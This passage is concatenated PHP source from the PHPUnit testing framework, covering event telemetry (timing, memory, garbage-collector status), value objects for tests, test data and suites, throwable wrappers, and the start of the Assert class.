sprintf( 'Value for %s must not be negative.', $type, ), ); } } /** * @throws InvalidArgumentException */ private function ensureNanoSecondsInRange(int $nanoseconds): void { if ($nanoseconds > 999999999) { throw new InvalidArgumentException( 'Value for nanoseconds must not be greater than 999999999.', ); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Telemetry; use function sprintf; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Info { private readonly Snapshot $current; private readonly Duration $durationSinceStart; private readonly MemoryUsage $memorySinceStart; private readonly Duration $durationSincePrevious; private readonly MemoryUsage $memorySincePrevious; public function __construct(Snapshot $current, Duration $durationSinceStart, MemoryUsage $memorySinceStart, Duration $durationSincePrevious, MemoryUsage $memorySincePrevious) { $this->current = $current; $this->durationSinceStart = $durationSinceStart; $this->memorySinceStart = $memorySinceStart; $this->durationSincePrevious = $durationSincePrevious; $this->memorySincePrevious = $memorySincePrevious; } public function time(): HRTime { return $this->current->time(); } public function memoryUsage(): MemoryUsage { return $this->current->memoryUsage(); } public function peakMemoryUsage(): MemoryUsage { return $this->current->peakMemoryUsage(); } public function durationSinceStart(): Duration { return $this->durationSinceStart; } public function memoryUsageSinceStart(): MemoryUsage { return $this->memorySinceStart; } public function durationSincePrevious(): Duration { return $this->durationSincePrevious; } public function memoryUsageSincePrevious(): MemoryUsage { return $this->memorySincePrevious; } public function garbageCollectorStatus(): GarbageCollectorStatus { return $this->current->garbageCollectorStatus(); } public function asString(): string { return sprintf( '[%s / %s] [%d bytes]', $this->durationSinceStart()->asString(), $this->durationSincePrevious()->asString(), $this->memoryUsage()->bytes(), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Telemetry; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This interface is not covered by the backward compatibility promise for PHPUnit */ interface MemoryMeter { public function memoryUsage(): MemoryUsage; public function peakMemoryUsage(): MemoryUsage; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class MemoryUsage { private readonly int $bytes; public static function fromBytes(int $bytes): self { return new self($bytes); } private function __construct(int $bytes) { $this->bytes = $bytes; } public function bytes(): int { return $this->bytes; } public function diff(self $other): self { return self::fromBytes($this->bytes - $other->bytes); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Telemetry; use function gc_status; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @codeCoverageIgnore */ final class Php81GarbageCollectorStatusProvider implements GarbageCollectorStatusProvider { public function status(): GarbageCollectorStatus { $status = gc_status(); return new GarbageCollectorStatus( $status['runs'], $status['collected'], $status['threshold'], $status['roots'], null, null, null, null, null, null, null, null, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Telemetry; use function gc_status; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Php83GarbageCollectorStatusProvider implements GarbageCollectorStatusProvider { public function status(): GarbageCollectorStatus { $status = gc_status(); return new GarbageCollectorStatus( $status['runs'], $status['collected'], $status['threshold'], $status['roots'], $status['application_time'], $status['collector_time'], $status['destructor_time'], $status['free_time'], $status['running'], $status['protected'], $status['full'], $status['buffer_size'], ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Snapshot { private readonly HRTime $time; private readonly MemoryUsage $memoryUsage; private readonly MemoryUsage $peakMemoryUsage; private readonly GarbageCollectorStatus $garbageCollectorStatus; public function __construct(HRTime $time, MemoryUsage $memoryUsage, MemoryUsage $peakMemoryUsage, GarbageCollectorStatus $garbageCollectorStatus) { $this->time = $time; $this->memoryUsage = $memoryUsage; $this->peakMemoryUsage = $peakMemoryUsage; $this->garbageCollectorStatus = $garbageCollectorStatus; } public function time(): HRTime { return $this->time; } public function memoryUsage(): MemoryUsage { return $this->memoryUsage; } public function peakMemoryUsage(): MemoryUsage { return $this->peakMemoryUsage; } public function garbageCollectorStatus(): GarbageCollectorStatus { return $this->garbageCollectorStatus; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Telemetry; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This interface is not covered by the backward compatibility promise for PHPUnit */ interface StopWatch { public function current(): HRTime; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Telemetry; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class System { private readonly StopWatch $stopWatch; private readonly MemoryMeter $memoryMeter; private readonly GarbageCollectorStatusProvider $garbageCollectorStatusProvider; public function __construct(StopWatch $stopWatch, MemoryMeter $memoryMeter, GarbageCollectorStatusProvider $garbageCollectorStatusProvider) { $this->stopWatch = $stopWatch; $this->memoryMeter = $memoryMeter; $this->garbageCollectorStatusProvider = $garbageCollectorStatusProvider; } public function snapshot(): Snapshot { return new Snapshot( $this->stopWatch->current(), $this->memoryMeter->memoryUsage(), $this->memoryMeter->peakMemoryUsage(), $this->garbageCollectorStatusProvider->status(), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Telemetry; use function memory_get_peak_usage; use function memory_get_usage; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class SystemMemoryMeter implements MemoryMeter { public function memoryUsage(): MemoryUsage { return MemoryUsage::fromBytes(memory_get_usage(true)); } public function peakMemoryUsage(): MemoryUsage { return MemoryUsage::fromBytes(memory_get_peak_usage(true)); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Telemetry; use function hrtime; use PHPUnit\Event\InvalidArgumentException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class SystemStopWatch implements StopWatch { /** * @throws InvalidArgumentException */ public function current(): HRTime { return HRTime::fromSecondsAndNanoseconds(...hrtime()); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Telemetry; use function hrtime; use PHPUnit\Event\InvalidArgumentException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @codeCoverageIgnore */ final class SystemStopWatchWithOffset implements StopWatch { private ?HRTime $offset; public function __construct(HRTime $offset) { $this->offset = $offset; } /** * @throws InvalidArgumentException */ public function current(): HRTime { if ($this->offset !== null) { $offset = $this->offset; $this->offset = null; return $offset; } return HRTime::fromSecondsAndNanoseconds(...hrtime()); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Code; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Phpt extends Test { /** * @psalm-assert-if-true Phpt $this */ public function isPhpt(): bool { return true; } /** * @psalm-return non-empty-string */ public function id(): string { return $this->file(); } /** * @psalm-return non-empty-string */ public function name(): string { return $this->file(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Code; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ abstract class Test { /** * @psalm-var non-empty-string */ private readonly string $file; /** * @psalm-param non-empty-string $file */ public function __construct(string $file) { $this->file = $file; } /** * @psalm-return non-empty-string */ public function file(): string { return $this->file; } /** * @psalm-assert-if-true TestMethod $this */ public function isTestMethod(): bool { return false; } /** * @psalm-assert-if-true Phpt $this */ public function isPhpt(): bool { return false; } /** * @psalm-return non-empty-string */ abstract public function id(): string; /** * @psalm-return non-empty-string */ abstract public function name(): string; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Code; use function count; use Countable; use IteratorAggregate; /** * @template-implements IteratorAggregate * * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class TestCollection implements Countable, IteratorAggregate { /** * @psalm-var list */ private readonly array $tests; /** * @psalm-param list $tests */ public static function fromArray(array $tests): self { return new self(...$tests); } private function __construct(Test ...$tests) { $this->tests = $tests; } /** * @psalm-return list */ public function asArray(): array { return $this->tests; } public function count(): int { return count($this->tests); } public function getIterator(): TestCollectionIterator { return new TestCollectionIterator($this); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Code; use function count; use Iterator; /** * @template-implements Iterator * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class TestCollectionIterator implements Iterator { /** * @psalm-var list */ private readonly array $tests; private int $position = 0; public function __construct(TestCollection $tests) { $this->tests = $tests->asArray(); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < count($this->tests); } public function key(): int { return $this->position; } public function current(): Test { return $this->tests[$this->position]; } public function next(): void { $this->position++; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestData; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class DataFromDataProvider extends TestData { private readonly int|string $dataSetName; private readonly string $dataAsStringForResultOutput; public static function from(int|string $dataSetName, string $data, string $dataAsStringForResultOutput): self { return new self($dataSetName, $data, $dataAsStringForResultOutput); } protected function __construct(int|string $dataSetName, string $data, string $dataAsStringForResultOutput) { $this->dataSetName = $dataSetName; $this->dataAsStringForResultOutput = $dataAsStringForResultOutput; parent::__construct($data); } public function dataSetName(): int|string { return $this->dataSetName; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function dataAsStringForResultOutput(): string { return $this->dataAsStringForResultOutput; } /** * @psalm-assert-if-true DataFromDataProvider $this */ public function isFromDataProvider(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestData; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class DataFromTestDependency extends TestData { public static function from(string $data): self { return new self($data); } /** * @psalm-assert-if-true DataFromTestDependency $this */ public function isFromTestDependency(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestData; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ abstract class TestData { private readonly string $data; protected function __construct(string $data) { $this->data = $data; } public function data(): string { return $this->data; } /** * @psalm-assert-if-true DataFromDataProvider $this */ public function isFromDataProvider(): bool { return false; } /** * @psalm-assert-if-true DataFromTestDependency $this */ public function isFromTestDependency(): bool { return false; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestData; use function count; use Countable; use IteratorAggregate; /** * @template-implements IteratorAggregate * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class TestDataCollection implements Countable, IteratorAggregate { /** * @psalm-var list */ private readonly array $data; private ?DataFromDataProvider $fromDataProvider = null; /** * @psalm-param list $data * * @throws MoreThanOneDataSetFromDataProviderException */ public static function fromArray(array $data): self { return new self(...$data); } /** * @throws MoreThanOneDataSetFromDataProviderException */ private function __construct(TestData ...$data) { $this->ensureNoMoreThanOneDataFromDataProvider($data); $this->data = $data; } /** * @psalm-return list */ public function asArray(): array { return $this->data; } public function count(): int { return count($this->data); } /** * @psalm-assert-if-true !null $this->fromDataProvider */ public function hasDataFromDataProvider(): bool { return $this->fromDataProvider !== null; } /** * @throws NoDataSetFromDataProviderException */ public function dataFromDataProvider(): DataFromDataProvider { if (!$this->hasDataFromDataProvider()) { throw new NoDataSetFromDataProviderException; } return $this->fromDataProvider; } public function getIterator(): TestDataCollectionIterator { return new TestDataCollectionIterator($this); } /** * @psalm-param list $data * * @throws MoreThanOneDataSetFromDataProviderException */ private function ensureNoMoreThanOneDataFromDataProvider(array $data): void { foreach ($data as $_data) { if ($_data->isFromDataProvider()) { if ($this->fromDataProvider !== null) { throw new MoreThanOneDataSetFromDataProviderException; } $this->fromDataProvider = $_data; } } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestData; use function count; use Iterator; /** * @template-implements Iterator * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class TestDataCollectionIterator implements Iterator { /** * @psalm-var list */ private readonly array $data; private int $position = 0; public function __construct(TestDataCollection $data) { $this->data = $data->asArray(); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < count($this->data); } public function key(): int { return $this->position; } public function current(): TestData { return $this->data[$this->position]; } public function next(): void { $this->position++; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Code; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class TestDox { private readonly string $prettifiedClassName; private readonly string $prettifiedMethodName; private readonly string $prettifiedAndColorizedMethodName; public function __construct(string $prettifiedClassName, string $prettifiedMethodName, string $prettifiedAndColorizedMethodName) { $this->prettifiedClassName = $prettifiedClassName; $this->prettifiedMethodName = $prettifiedMethodName; $this->prettifiedAndColorizedMethodName = $prettifiedAndColorizedMethodName; } public function prettifiedClassName(): string { return $this->prettifiedClassName; } public function prettifiedMethodName(bool $colorize = false): string { if ($colorize) { return $this->prettifiedAndColorizedMethodName; } return $this->prettifiedMethodName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Code; use PHPUnit\Event\TestData\MoreThanOneDataSetFromDataProviderException; use PHPUnit\Framework\TestCase; use PHPUnit\Logging\TestDox\NamePrettifier; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestDoxBuilder { /** * @throws MoreThanOneDataSetFromDataProviderException */ public static function fromTestCase(TestCase $testCase): TestDox { $prettifier = new NamePrettifier; return new TestDox( $prettifier->prettifyTestClassName($testCase::class), $prettifier->prettifyTestCase($testCase, false), $prettifier->prettifyTestCase($testCase, true), ); } /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ public static function fromClassNameAndMethodName(string $className, string $methodName): TestDox { $prettifier = new NamePrettifier; $prettifiedMethodName = $prettifier->prettifyTestMethodName($methodName); return new TestDox( $prettifier->prettifyTestClassName($className), $prettifiedMethodName, $prettifiedMethodName, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Code; use function assert; use function is_int; use function sprintf; use PHPUnit\Event\TestData\TestDataCollection; use PHPUnit\Metadata\MetadataCollection; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class TestMethod extends Test { /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-var non-empty-string */ private readonly string $methodName; /** * @psalm-var non-negative-int */ private readonly int $line; private readonly TestDox $testDox; private readonly MetadataCollection $metadata; private readonly TestDataCollection $testData; /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName * @psalm-param non-empty-string $file * @psalm-param non-negative-int $line */ public function __construct(string $className, string $methodName, string $file, int $line, TestDox $testDox, MetadataCollection $metadata, TestDataCollection $testData) { parent::__construct($file); $this->className = $className; $this->methodName = $methodName; $this->line = $line; $this->testDox = $testDox; $this->metadata = $metadata; $this->testData = $testData; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } /** * @psalm-return non-empty-string */ public function methodName(): string { return $this->methodName; } /** * @psalm-return non-negative-int */ public function line(): int { return $this->line; } public function testDox(): TestDox { return $this->testDox; } public function metadata(): MetadataCollection { return $this->metadata; } public function testData(): TestDataCollection { return $this->testData; } /** * @psalm-assert-if-true TestMethod $this */ public function isTestMethod(): bool { return true; } /** * @psalm-return non-empty-string */ public function id(): string { $buffer = $this->className . '::' . $this->methodName; if ($this->testData()->hasDataFromDataProvider()) { $buffer .= '#' . $this->testData->dataFromDataProvider()->dataSetName(); } return $buffer; } /** * @psalm-return non-empty-string */ public function nameWithClass(): string { return $this->className . '::' . $this->name(); } /** * @psalm-return non-empty-string */ public function name(): string { if (!$this->testData->hasDataFromDataProvider()) { return $this->methodName; } $dataSetName = $this->testData->dataFromDataProvider()->dataSetName(); if (is_int($dataSetName)) { $dataSetName = sprintf( ' with data set #%d', $dataSetName, ); } else { $dataSetName = sprintf( ' with data set "%s"', $dataSetName, ); } return $this->methodName . $dataSetName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Code; use const DEBUG_BACKTRACE_IGNORE_ARGS; use const DEBUG_BACKTRACE_PROVIDE_OBJECT; use function assert; use function debug_backtrace; use function is_numeric; use PHPUnit\Event\Facade as EventFacade; use PHPUnit\Event\TestData\DataFromDataProvider; use PHPUnit\Event\TestData\DataFromTestDependency; use PHPUnit\Event\TestData\MoreThanOneDataSetFromDataProviderException; use PHPUnit\Event\TestData\TestDataCollection; use PHPUnit\Framework\TestCase; use PHPUnit\Metadata\Parser\Registry as MetadataRegistry; use PHPUnit\Util\Exporter; use PHPUnit\Util\Reflection; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestMethodBuilder { /** * @throws MoreThanOneDataSetFromDataProviderException */ public static function fromTestCase(TestCase $testCase): TestMethod { $methodName = $testCase->name(); assert(!empty($methodName)); $location = Reflection::sourceLocationFor($testCase::class, $methodName); return new TestMethod( $testCase::class, $methodName, $location['file'], $location['line'], TestDoxBuilder::fromTestCase($testCase), MetadataRegistry::parser()->forClassAndMethod($testCase::class, $methodName), self::dataFor($testCase), ); } /** * @throws NoTestCaseObjectOnCallStackException */ public static function fromCallStack(): TestMethod { foreach (debug_backtrace(DEBUG_BACKTRACE_PROVIDE_OBJECT | DEBUG_BACKTRACE_IGNORE_ARGS) as $frame) { if (isset($frame['object']) && $frame['object'] instanceof TestCase) { return $frame['object']->valueObjectForEvents(); } } throw new NoTestCaseObjectOnCallStackException; } /** * @throws MoreThanOneDataSetFromDataProviderException */ private static function dataFor(TestCase $testCase): TestDataCollection { $testData = []; if ($testCase->usesDataProvider()) { $dataSetName = $testCase->dataName(); if (is_numeric($dataSetName)) { $dataSetName = (int) $dataSetName; } $testData[] = DataFromDataProvider::from( $dataSetName, Exporter::export($testCase->providedData(), EventFacade::emitter()->exportsObjects()), $testCase->dataSetAsStringWithData(), ); } if ($testCase->hasDependencyInput()) { $testData[] = DataFromTestDependency::from( Exporter::export($testCase->dependencyInput(), EventFacade::emitter()->exportsObjects()), ); } return TestDataCollection::fromArray($testData); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestSuite; use PHPUnit\Event\Code\TestCollection; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ abstract class TestSuite { /** * @psalm-var non-empty-string */ private readonly string $name; private readonly int $count; private readonly TestCollection $tests; /** * @psalm-param non-empty-string $name */ public function __construct(string $name, int $size, TestCollection $tests) { $this->name = $name; $this->count = $size; $this->tests = $tests; } /** * @psalm-return non-empty-string */ public function name(): string { return $this->name; } public function count(): int { return $this->count; } public function tests(): TestCollection { return $this->tests; } /** * @psalm-assert-if-true TestSuiteWithName $this */ public function isWithName(): bool { return false; } /** * @psalm-assert-if-true TestSuiteForTestClass $this */ public function isForTestClass(): bool { return false; } /** * @psalm-assert-if-true TestSuiteForTestMethodWithDataProvider $this */ public function isForTestMethodWithDataProvider(): bool { return false; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestSuite; use function explode; use PHPUnit\Event\Code\Test; use PHPUnit\Event\Code\TestCollection; use PHPUnit\Event\RuntimeException; use PHPUnit\Framework\DataProviderTestSuite; use PHPUnit\Framework\TestCase; use PHPUnit\Framework\TestSuite as FrameworkTestSuite; use PHPUnit\Runner\PhptTestCase; use ReflectionClass; use ReflectionException; use ReflectionMethod; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestSuiteBuilder { /** * @throws RuntimeException */ public static function from(FrameworkTestSuite $testSuite): TestSuite { $tests = []; self::process($testSuite, $tests); if ($testSuite instanceof DataProviderTestSuite) { [$className, $methodName] = explode('::', $testSuite->name()); try { $reflector = new ReflectionMethod($className, $methodName); return new TestSuiteForTestMethodWithDataProvider( $testSuite->name(), $testSuite->count(), TestCollection::fromArray($tests), $className, $methodName, $reflector->getFileName(), $reflector->getStartLine(), ); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new RuntimeException( $e->getMessage(), $e->getCode(), $e, ); } // @codeCoverageIgnoreEnd } if ($testSuite->isForTestClass()) { try { $reflector = new ReflectionClass($testSuite->name()); return new TestSuiteForTestClass( $testSuite->name(), $testSuite->count(), TestCollection::fromArray($tests), $reflector->getFileName(), $reflector->getStartLine(), ); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new RuntimeException( $e->getMessage(), $e->getCode(), $e, ); } // @codeCoverageIgnoreEnd } return new TestSuiteWithName( $testSuite->name(), $testSuite->count(), TestCollection::fromArray($tests), ); } /** * @psalm-param list $tests */ private static function process(FrameworkTestSuite $testSuite, array &$tests): void { foreach ($testSuite->getIterator() as $test) { if ($test instanceof FrameworkTestSuite) { self::process($test, $tests); continue; } if ($test instanceof TestCase || $test instanceof PhptTestCase) { $tests[] = $test->valueObjectForEvents(); } } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestSuite; use PHPUnit\Event\Code\TestCollection; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class TestSuiteForTestClass extends TestSuite { /** * @psalm-var class-string */ private readonly string $className; private readonly string $file; private readonly int $line; /** * @psalm-param class-string $name */ public function __construct(string $name, int $size, TestCollection $tests, string $file, int $line) { parent::__construct($name, $size, $tests); $this->className = $name; $this->file = $file; $this->line = $line; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } public function file(): string { return $this->file; } public function line(): int { return $this->line; } /** * @psalm-assert-if-true TestSuiteForTestClass $this */ public function isForTestClass(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestSuite; use PHPUnit\Event\Code\TestCollection; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class TestSuiteForTestMethodWithDataProvider extends TestSuite { /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-var non-empty-string */ private readonly string $methodName; private readonly string $file; private readonly int $line; /** * @psalm-param non-empty-string $name * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ public function __construct(string $name, int $size, TestCollection $tests, string $className, string $methodName, string $file, int $line) { parent::__construct($name, $size, $tests); $this->className = $className; $this->methodName = $methodName; $this->file = $file; $this->line = $line; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } /** * @psalm-return non-empty-string */ public function methodName(): string { return $this->methodName; } public function file(): string { return $this->file; } public function line(): int { return $this->line; } /** * @psalm-assert-if-true TestSuiteForTestMethodWithDataProvider $this */ public function isForTestMethodWithDataProvider(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestSuite; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class TestSuiteWithName extends TestSuite { /** * @psalm-assert-if-true TestSuiteWithName $this */ public function isWithName(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Code; use const PHP_EOL; use PHPUnit\Event\NoPreviousThrowableException; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Throwable { /** * @psalm-var class-string */ private readonly string $className; private readonly string $message; private readonly string $description; private readonly string $stackTrace; private readonly ?Throwable $previous; /** * @psalm-param class-string $className */ public function __construct(string $className, string $message, string $description, string $stackTrace, ?self $previous) { $this->className = $className; $this->message = $message; $this->description = $description; $this->stackTrace = $stackTrace; $this->previous = $previous; } /** * @throws NoPreviousThrowableException */ public function asString(): string { $buffer = $this->description(); if (!empty($this->stackTrace())) { $buffer .= PHP_EOL . $this->stackTrace(); } if ($this->hasPrevious()) { $buffer .= PHP_EOL . 'Caused by' . PHP_EOL . $this->previous()->asString(); } return $buffer; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } public function message(): string { return $this->message; } public function description(): string { return $this->description; } public function stackTrace(): string { return $this->stackTrace; } /** * @psalm-assert-if-true !null $this->previous */ public function hasPrevious(): bool { return $this->previous !== null; } /** * @throws NoPreviousThrowableException */ public function previous(): self { if ($this->previous === null) { throw new NoPreviousThrowableException; } return $this->previous; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Code; use PHPUnit\Event\NoPreviousThrowableException; use PHPUnit\Framework\Exception; use PHPUnit\Util\Filter; use PHPUnit\Util\ThrowableToStringMapper; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ThrowableBuilder { /** * @throws Exception * @throws NoPreviousThrowableException */ public static function from(\Throwable $t): Throwable { $previous = $t->getPrevious(); if ($previous !== null) { $previous = self::from($previous); } return new Throwable( $t::class, $t->getMessage(), ThrowableToStringMapper::map($t), Filter::getFilteredStacktrace($t, false), $previous, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit; use Throwable; interface Exception extends Throwable { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use function class_exists; use function count; use function file_get_contents; use function interface_exists; use function is_bool; use ArrayAccess; use Countable; use Generator; use PHPUnit\Event; use PHPUnit\Framework\Constraint\ArrayHasKey; use PHPUnit\Framework\Constraint\Callback; use PHPUnit\Framework\Constraint\Constraint; use PHPUnit\Framework\Constraint\Count; use PHPUnit\Framework\Constraint\DirectoryExists; use PHPUnit\Framework\Constraint\FileExists; use PHPUnit\Framework\Constraint\GreaterThan; use PHPUnit\Framework\Constraint\IsAnything; use PHPUnit\Framework\Constraint\IsEmpty; use PHPUnit\Framework\Constraint\IsEqual; use PHPUnit\Framework\Constraint\IsEqualCanonicalizing; use PHPUnit\Framework\Constraint\IsEqualIgnoringCase; use PHPUnit\Framework\Constraint\IsEqualWithDelta; use PHPUnit\Framework\Constraint\IsFalse; use PHPUnit\Framework\Constraint\IsFinite; use PHPUnit\Framework\Constraint\IsIdentical; use PHPUnit\Framework\Constraint\IsInfinite; use PHPUnit\Framework\Constraint\IsInstanceOf; use PHPUnit\Framework\Constraint\IsJson; use PHPUnit\Framework\Constraint\IsList; use PHPUnit\Framework\Constraint\IsNan; use PHPUnit\Framework\Constraint\IsNull; use PHPUnit\Framework\Constraint\IsReadable; use PHPUnit\Framework\Constraint\IsTrue; use PHPUnit\Framework\Constraint\IsType; use PHPUnit\Framework\Constraint\IsWritable; use PHPUnit\Framework\Constraint\JsonMatches; use PHPUnit\Framework\Constraint\LessThan; use PHPUnit\Framework\Constraint\LogicalAnd; use PHPUnit\Framework\Constraint\LogicalNot; use PHPUnit\Framework\Constraint\LogicalOr; use PHPUnit\Framework\Constraint\LogicalXor; use PHPUnit\Framework\Constraint\ObjectEquals; use PHPUnit\Framework\Constraint\ObjectHasProperty; use PHPUnit\Framework\Constraint\RegularExpression; use PHPUnit\Framework\Constraint\SameSize; use PHPUnit\Framework\Constraint\StringContains; use PHPUnit\Framework\Constraint\StringEndsWith; use PHPUnit\Framework\Constraint\StringEqualsStringIgnoringLineEndings; use PHPUnit\Framework\Constraint\StringMatchesFormatDescription; use PHPUnit\Framework\Constraint\StringStartsWith; use PHPUnit\Framework\Constraint\TraversableContainsEqual; use PHPUnit\Framework\Constraint\TraversableContainsIdentical; use PHPUnit\Framework\Constraint\TraversableContainsOnly; use PHPUnit\Util\Xml\Loader as XmlLoader; use PHPUnit\Util\Xml\XmlException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ abstract class Assert { private static int $count = 0; /** * Asserts that an array has a specified key. * * @throws Exception * @throws ExpectationFailedException */ final public static function assertArrayHasKey(mixed $key, array|ArrayAccess $array, string $message = ''): void { $constraint = new ArrayHasKey($key); static::assertThat($array, $constraint, $message); } /** * Asserts that an array does not have a specified key. * * @throws Exception * @throws ExpectationFailedException */ final public static function assertArrayNotHasKey(mixed $key, array|ArrayAccess $array, string $message = ''): void { $constraint = new LogicalNot( new ArrayHasKey($key), ); static::assertThat($array, $constraint, $message); } /** * @throws ExpectationFailedException */ final public static function assertIsList(mixed $array, string $message = ''): void { static::assertThat( $array, new IsList, $message, ); } /** * Asserts that a haystack contains a needle. * * @throws Exception * @throws ExpectationFailedException */ final public static function assertContains(mixed $needle, iterable $haystack, string $message = ''): void { $constraint = new TraversableContainsIdentical($needle); static::assertThat($haystack, $constraint, $message); } /** * @throws ExpectationFailedException */ final public static function assertContainsEquals(mixed $needle, iterable $haystack, string 